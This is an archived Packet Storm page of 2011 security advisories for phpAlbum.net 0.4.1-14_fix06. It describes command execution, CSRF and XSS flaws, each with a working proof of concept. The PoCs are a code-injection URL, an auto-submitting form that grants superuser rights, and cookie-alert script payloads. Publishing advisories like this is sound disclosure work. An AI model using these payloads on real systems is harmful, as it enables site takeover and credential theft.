what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution
Posted Apr 14, 2011
Authored by High-Tech Bridge SA | Site htbridge.com

phpAlbum.net version 0.4.1-14_fix06 suffers from cross site request forgery, cross site scripting, and remote command execution vulnerabilities.

tags | exploit, remote, vulnerability, xss, csrf
SHA-256 | d3b3b2fe24c513488e371d057b26f458e7b0f4c91bfcc64d6293c28262d7bbbb

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution

Change Mirror Download
====================================
Vulnerability ID: HTB22924
Reference: http://www.htbridge.ch/advisory/arbitrary_command_execution_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: Arbitrary Command Execution
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
Arbitrary command execution vulnerability allows an attacker to execute system commands on a vulnerable system.

The vulnerability exists due to failure in the "phpdatabase.php" script to properly sanitize user-supplied input in "var3" variable.

The following PoC is available:

http://host/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx','xxxx')


====================================
Vulnerability ID: HTB22923
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "main.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="p_username_f" value="test">
<input type="hidden" name="p_password_f" value="">
<input type="hidden" name="p_retype_password_f" value="">
<input type="hidden" name="p_email_f" value="email@example.com">
<input type="hidden" name="p_homepage_f" value="http://www.example.com">
<input type="hidden" name="p_group1" value="guest">
<input type="hidden" name="p_group2" value="superuser">
<input type="hidden" name="p_userid_f" value="USERID">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="user">
<input type="hidden" name="var3" value="USERID">
<input type="hidden" name="var2" value="update">
</form>
<script>
document.main.submit();
</script>


====================================
Vulnerability ID: HTB22922
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "setup.php" script to properly sanitize user-supplied input in "var3", "p_new_group_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

http://host/main.php?cmd=setup&var1=user&var3=1"><script>alert(document.cookie)</script>


2.

<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="groups">
<input type="hidden" name="var2" value="add">
<input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close